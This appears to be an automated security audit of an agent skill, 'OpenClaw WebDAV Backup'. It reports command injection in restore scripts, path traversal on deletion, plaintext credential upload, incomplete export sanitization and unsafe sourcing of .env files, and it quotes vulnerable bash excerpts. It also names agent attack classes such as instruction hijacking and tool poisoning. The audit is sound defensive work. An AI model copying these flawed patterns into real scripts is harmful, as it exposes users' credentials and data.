Security audit

OpenClaw WebDAV Backup

Security checks for vulnerabilities and agentic risk

Overview

This backup skill is mostly coherent, but it needs review because it handles sensitive backups and has script flaws that could expose credentials, run unintended commands, or delete outside the intended backup area.

Install only if you are comfortable reviewing and hardening the shell scripts first. Treat WebDAV upload, restore, delete, and portable export as sensitive operations; require --encrypt-config for any remote upload, avoid sharing exported packages until config redaction is verified, and do not run restore/delete against paths you do not fully trust.

A.I.G

Vulnerability Patterns

Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally

Findings (4)

T09 · Insecure Skill Coding Practices

Error

Location: scripts/openclaw-restore.impl.sh:588
Finding: Command Injection Through Restore Path Evaluation
Content: View full analysis
Remediation: View remediation

T09 · Insecure Skill Coding Practices

Error

Location: scripts/openclaw-restore.impl.sh:323
Finding: Backup Deletion Can Traverse Outside the Managed Backup Root
Content: View full analysis
Remediation: View remediation

T09 · Insecure Skill Coding Practices

Error

Location: scripts/openclaw-backup.impl.sh:4
Finding: Plaintext Sensitive Configuration Can Be Uploaded to WebDAV
Content: View full analysis
&2; exit 1; } # shellcheck disable=SC1090 source "${ENV_FILE}" resolve_encrypt_pass : "${BACKUP_ENCRYPT_PASS:?BACKUP_ENCRYPT_PASS is required when --encrypt-config is used}" need_cmd openssl FAILED_STAGE="encrypting config" log "Encrypting config copy" openssl enc -aes-256-cbc -pbkdf2 -salt -in "${CONFIG_COPY}" -out "${CONFIG_ENC}" -pass env:BACKUP_ENCRYPT_PASS >/dev/null 2>&1 rm -f "${CONFIG_COPY}" fi ``` Upload configuration accepts an unrestricted URL: ```bash if [[ ${UPLOAD} -eq 1 ]]; then ENV_FILE="${WORKSPACE_DIR}/.env.backup" [[ -f "${ENV_FILE}" ]] || { echo "Missing upload env file: ${ENV_FILE}" >&2; exit 1; } # shellcheck disable=SC1090 source "${ENV_FILE}" : "${WEBDAV_URL:?WEBDAV_URL is required}" : "${WEBDAV_USER:?WEBDAV_USER is required}" : "${WEBDAV_PASS:?WEBDAV_PASS is required}" ``` The plaintext copy is uploaded whenever it exists: ```bash upload_file_with_retry "${WORKSPACE_ARCHIVE}" "${REMOTE_RUN}/$(basename "${WORKSPACE_ARCHIVE}")" [[ -f "${EXTENSIONS_ARCHIVE}" ]] && upload_file_with_retry "${EXTENSIONS_ARCHIVE}" "${REMOTE_RUN}/$(basename "${EXTENSIONS_ARCHIVE}")" [[ -f "${CONFIG_COPY}" ]] && upload_file_with_retry "${CONFIG_COPY}" "${REMOTE_RUN}/$(basename "${CONFIG_COPY}")" [[ -f "${CONFIG_ENC}" ]] && upload_file_with_retry "${CONFIG_ENC}" ...[truncated 1771 chars]
Remediation: View remediation
&2 exit 1 fi ``` Require HTTPS by default: ```bash case "$WEBDAV_URL" in https://*) ;; *) echo "Refusing non-HTTPS WebDAV endpoint" >&2 exit 1 ;; esac ``` Further hardening should include: 1. Encrypt sensitive configuration by default whenever remote upload is selected. 2. If plaintext upload must be supported for a trusted local endpoint, require a clearly named explicit override such as `--allow-plaintext-config-upload`. 3. Warn that backup archives may themselves contain sensitive workspace files, not only `openclaw.json`. 4. Avoid leaving a plaintext configuration copy on disk longer than necessary. 5. Set restrictive permissions with `umask 077` before creating backup directories and sensitive files. 6. Configure `curl` with an approved protocol set, TLS verification, connection timeouts, and redirect restrictions. 7. Add automated tests asserting that `--upload` cannot transfer `openclaw.json` unless encryption is active. ]]>

T09 · Insecure Skill Coding Practices

Warning

Location: scripts/openclaw-export.impl.sh:119
Finding: Portable Export Sanitization Leaves Credentials in Configuration Packages
Content: View full analysis
/dev/null || echo "") if [[ -n "${bind_addr}" ]]; then config_content=$(echo "${config_content}" | jq ' .gateway.bind = "${GATEWAY_BIND_HOST}:${GATEWAY_BIND_PORT}" ' 2>/dev/null || echo "${config_content}") fi # Remote URL → template local remote_url remote_url=$(echo "${config_content}" | jq -r '.gateway.remote.url // empty' 2>/dev/null || echo "") if [[ -n "${remote_url}" ]]; then config_content=$(echo "${config_content}" | jq ' .gateway.remote.url = "${GATEWAY_REMOTE_URL}" ' 2>/dev/null || echo "${config_content}") fi # Model gateway → template local model_gateway model_gateway=$(echo "${config_content}" | jq -r '.modelGateway // empty' 2>/dev/null || echo "") if [[ -n "${model_gateway}" ]]; then config_content=$(echo "${config_content}" | jq ' .modelGateway = "${MODEL_GATEWAY_URL}" ' 2>/dev/null || echo "${config_content}") fi # Write templated config echo "${config_content}" > "${output_file}" ``` The resulting file is included in the portable package: ```bash # Template config if [[ "${SANITIZE_ENV}" == "true" && -f "${CONFIG_FILE}" ]]; then template_config "${CONFIG_FILE}" "${pkg_dir}/config/openclaw.json.template" "${pkg_dir}/config/restore_map.json" elif [[ -f "${CONFIG_FILE}" ]]; then cp "${CONFIG_FILE}" "${pkg_dir}/config/openclaw.json" fi ``` ### Technical Analysis The feature is presented as sanitizing or templating configuration for migration. However, the implementation replaces only: - `.gateway.bind` - `.gateway.remote.url` - `.modelGateway` It does not recursively ...[truncated 1805 chars]
Remediation: View remediation
"$output_file" ``` Additional safeguards should include: 1. Recursively detect keys matching patterns such as `token`, `secret`, `password`, `pass`, `apiKey`, `api_key`, `authorization`, `credential`, and `privateKey`. 2. Replace detected values with explicit placeholders rather than copying them. 3. Fail closed if `jq` parsing or transformation fails; never fall back to the original configuration. 4. Scan the completed package for known secret values before creating the final archive. 5. Display a clear summary of removed, templated, and retained fields. 6. Add test fixtures with credentials at multiple nesting levels. 7. Correct the generated documentation so it does not claim complete sanitization unless the final package has been verified. 8. Apply `umask 077` to temporary and output files because the export may still contain sensitive workspace content. ]]>

SkillSpector

Vulnerability Patterns

Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection

Findings (56)

Tp4

High

Category: MCP Tool Poisoning
Confidence: 98% confidence
Finding: The description understates or omits notification features that send data to Telegram, WeCom, and Feishu, which are external network destinations and involve secret tokens. This mismatch can cause users or orchestration systems to approve a skill for backup purposes while overlooking outbound communication behavior and secret handling.
Content: No source excerpt is available for this finding.

Tp4

High

Category: MCP Tool Poisoning
Confidence: 95% confidence
Finding: The description understates or omits notification features that send data to Telegram, WeCom, and Feishu, which are external network destinations and involve secret tokens. This mismatch can cause users or orchestration systems to approve a skill for backup purposes while overlooking outbound communication behavior and secret handling.
Content: No source excerpt is available for this finding.

Tp4

High

Category: MCP Tool Poisoning
Confidence: 99% confidence
Finding: The description understates or omits notification features that send data to Telegram, WeCom, and Feishu, which are external network destinations and involve secret tokens. This mismatch can cause users or orchestration systems to approve a skill for backup purposes while overlooking outbound communication behavior and secret handling.
Content: No source excerpt is available for this finding.

Tp4

High

Category: MCP Tool Poisoning
Confidence: 98% confidence
Finding: The description understates or omits notification features that send data to Telegram, WeCom, and Feishu, which are external network destinations and involve secret tokens. This mismatch can cause users or orchestration systems to approve a skill for backup purposes while overlooking outbound communication behavior and secret handling.
Content: No source excerpt is available for this finding.

Tp4

High

Category: MCP Tool Poisoning
Confidence: 97% confidence
Finding: The description understates or omits notification features that send data to Telegram, WeCom, and Feishu, which are external network destinations and involve secret tokens. This mismatch can cause users or orchestration systems to approve a skill for backup purposes while overlooking outbound communication behavior and secret handling.
Content: No source excerpt is available for this finding.

Tool Parameter Abuse

High

Category: Tool Misuse
Confidence: 95% confidence
Finding: Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
Content: Scanner excerpt · lib/cleanup.sh (reported line 39)May include surrounding context.
sh
done # Also clean up any leftover curl error files rm -f /tmp/webdav_error_$$.txt 2>/dev/null || true return $exit_code }

Tool Parameter Abuse

High

Category: Tool Misuse
Confidence: 95% confidence
Finding: Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
Content: Scanner excerpt · scripts/openclaw-backup.impl.sh (reported line 260)May include surrounding context.
sh
if [[ "$level" == "0" ]]; then # Full backup: remove old snapshots rm -f "${SNAPSHOT_DIR}"/level-*.snapshot snapshot_file="${SNAPSHOT_DIR}/level-0.snapshot" (cd "${source_dir}" && tar --exclude='node_modules' --exclude='.git' --exclude='backups/openclaw' --exclude='.env.backup' --exclude='.env.backup.secret' \ --listed-incremental="${snapshot_file}" \

Credential Access

High

Category: Privilege Escalation
Confidence: 60% confidence
Finding: Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
Content: Scanner excerpt · scripts/openclaw-export.impl.sh (reported line 23)May include surrounding context.
sh
WORKSPACE_DIR="${OPENCLAW_HOME}/workspace" EXTENSIONS_DIR="${OPENCLAW_HOME}/extensions" CONFIG_FILE="${OPENCLAW_HOME}/openclaw.json" ENV_FILE="${OPENCLAW_HOME}/.env" EXPORT_DIR="${EXPORT_DIR:-${OPENCLAW_HOME}/exports}" TIMESTAMP=$(date +"%Y-%m-%d-%H%M%S")

Credential Access

High

Category: Privilege Escalation
Confidence: 60% confidence
Finding: Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
Content: Scanner excerpt · README.md (reported line 120)May include surrounding context.
md
# OpenClaw Environment Variable Mapping # Generated: ${TIMESTAMP} # # Copy this file to .env and fill in your values # OpenClaw Base Configuration OPENCLAW_HOME=\${HOME}/.openclaw

Credential Access

High

Category: Privilege Escalation
Confidence: 60% confidence
Finding: Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
Content: Scanner excerpt · README.md (reported line 121)May include surrounding context.
md
# OpenClaw Environment Variable Mapping # Generated: ${TIMESTAMP} # # Copy this file to .env and fill in your values # OpenClaw Base Configuration OPENCLAW_HOME=\${HOME}/.openclaw

Credential Access

High

Category: Privilege Escalation
Confidence: 60% confidence
Finding: Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
Content: Scanner excerpt · README.md (reported line 124)May include surrounding context.
md
# OpenClaw Environment Variable Mapping # Generated: ${TIMESTAMP} # # Copy this file to .env and fill in your values # OpenClaw Base Configuration OPENCLAW_HOME=\${HOME}/.openclaw

Credential Access

High

Category: Privilege Escalation
Confidence: 60% confidence
Finding: Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
Content: Scanner excerpt · scripts/openclaw-export.impl.sh (reported line 63)May include surrounding context.
sh
# OpenClaw Environment Variable Mapping # Generated: ${TIMESTAMP} # # Copy this file to .env and fill in your values # OpenClaw Base Configuration OPENCLAW_HOME=\${HOME}/.openclaw

Credential Access

High

Category: Privilege Escalation
Confidence: 60% confidence
Finding: Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
Content: Scanner excerpt · scripts/openclaw-export.impl.sh (reported line 230)May include surrounding context.
sh
# OpenClaw Environment Variable Mapping # Generated: ${TIMESTAMP} # # Copy this file to .env and fill in your values # OpenClaw Base Configuration OPENCLAW_HOME=\${HOME}/.openclaw

Credential Access

High

Category: Privilege Escalation
Confidence: 60% confidence
Finding: Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
Content: Scanner excerpt · scripts/openclaw-export.impl.sh (reported line 231)May include surrounding context.
sh
# OpenClaw Environment Variable Mapping # Generated: ${TIMESTAMP} # # Copy this file to .env and fill in your values # OpenClaw Base Configuration OPENCLAW_HOME=\${HOME}/.openclaw

Credential Access

High

Category: Privilege Escalation
Confidence: 60% confidence
Finding: Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
Content: Scanner excerpt · scripts/openclaw-export.impl.sh (reported line 232)May include surrounding context.
sh
# OpenClaw Environment Variable Mapping # Generated: ${TIMESTAMP} # # Copy this file to .env and fill in your values # OpenClaw Base Configuration OPENCLAW_HOME=\${HOME}/.openclaw

Credential Access

High

Category: Privilege Escalation
Confidence: 60% confidence
Finding: Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
Content: Scanner excerpt · scripts/openclaw-export.impl.sh (reported line 285)May include surrounding context.
sh
# OpenClaw Environment Variable Mapping # Generated: ${TIMESTAMP} # # Copy this file to .env and fill in your values # OpenClaw Base Configuration OPENCLAW_HOME=\${HOME}/.openclaw

Credential Access

High

Category: Privilege Escalation
Confidence: 60% confidence
Finding: Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
Content: Scanner excerpt · scripts/openclaw-export.impl.sh (reported line 286)May include surrounding context.
sh
# OpenClaw Environment Variable Mapping # Generated: ${TIMESTAMP} # # Copy this file to .env and fill in your values # OpenClaw Base Configuration OPENCLAW_HOME=\${HOME}/.openclaw

Credential Access

High

Category: Privilege Escalation
Confidence: 92% confidence
Finding: The generated guide explicitly instructs users to run bash scripts/migrate.sh --env-file .env, and that script later sources the specified file. In context, this documentation encourages a dangerous execution path where a crafted .env can execute arbitrary shell commands during migration.
Content: Scanner excerpt · scripts/openclaw-export.impl.sh (reported line 245)May include surrounding context.
sh
\`\`\`bash # 自动应用环境变量并恢复 bash scripts/migrate.sh --env-file .env # 或手动分步 export $(cat .env | grep -v '^#' | xargs)

Credential Access

High

Category: Privilege Escalation
Confidence: 96% confidence
Finding: The manual migration instructions use export $(cat .env | grep -v '^#' | xargs), which is unsafe for secret handling and shell parsing. This pattern can misparse values containing spaces or special characters, leak secrets into process listings/history, and can trigger unintended shell behavior depending on contents, making migration of credential-bearing env files hazardous.
Content: Scanner excerpt · scripts/openclaw-export.impl.sh (reported line 248)May include surrounding context.
sh
bash scripts/migrate.sh --env-file .env # 或手动分步 export $(cat .env | grep -v '^#' | xargs) bash scripts/migrate.sh \`\`\`

Context-Inappropriate Capability

High

Category: Not specified by scanner
Confidence: 98% confidence
Finding: The health-check script uses source on ${WORKSPACE_DIR}/.env.backup and .env.backup.secret, which executes arbitrary shell code from those files rather than merely validating key presence. Because this script is intended for diagnostics and may be run in trusted operational workflows, a malicious or tampered config file can achieve code execution under the user account running the check.
Content: No source excerpt is available for this finding.

Missing User Warnings

Medium

Category: Not specified by scanner
Confidence: 82% confidence
Finding: The restore section presents commands to restore backups, and the portable package section includes a migration script, but there is no explicit warning that these operations may modify or replace existing configuration, extensions, or workspace data. In markdown skill documentation, actions affecting user data or system integrity should disclose that impact clearly.
Content: No source excerpt is available for this finding.

Missing User Warnings

Medium

Category: Not specified by scanner
Confidence: 93% confidence
Finding: This markdown file includes commands to delete specific backup versions and purge older backups, including a non-dry-run example, but it does not warn that these actions permanently remove backup data. For markdown files, destructive behaviors that can affect user data should be accompanied by an explicit warning so users understand the risk before running the commands.
Content: No source excerpt is available for this finding.

Undeclared Tool Scope

Medium

Category: MCP Least Privilege
Confidence: 90% confidence
Finding: The skill explicitly instructs users to run shell scripts that can perform filesystem backup, restore, encryption, and remote upload, but it declares no tool scope or allowed-tools boundary. In an agent setting, missing tool restrictions increases the chance the skill is invoked with broader shell access than intended, enabling destructive local operations or outbound transfers without a clear permission contract.
Content: No source excerpt is available for this finding.

Sudo/Root Execution

Medium

Category: Privilege Escalation
Confidence: 70% confidence
Finding: Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.
Content: Scanner excerpt · SKILL.md (reported line 183)May include surrounding context.
Install parallel compression tools for best performance:

bash
# Ubuntu/Debian sudo apt-get install pigz zstd # macOS brew install pigz zstd

Sudo/Root Execution

Medium

Category: Privilege Escalation
Confidence: 70% confidence
Finding: Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.
Content: Scanner excerpt · SKILL.md (reported line 189)May include surrounding context.
Install parallel compression tools for best performance:

bash
# Ubuntu/Debian sudo apt-get install pigz zstd # macOS brew install pigz zstd

Static analysis

No suspicious patterns detected.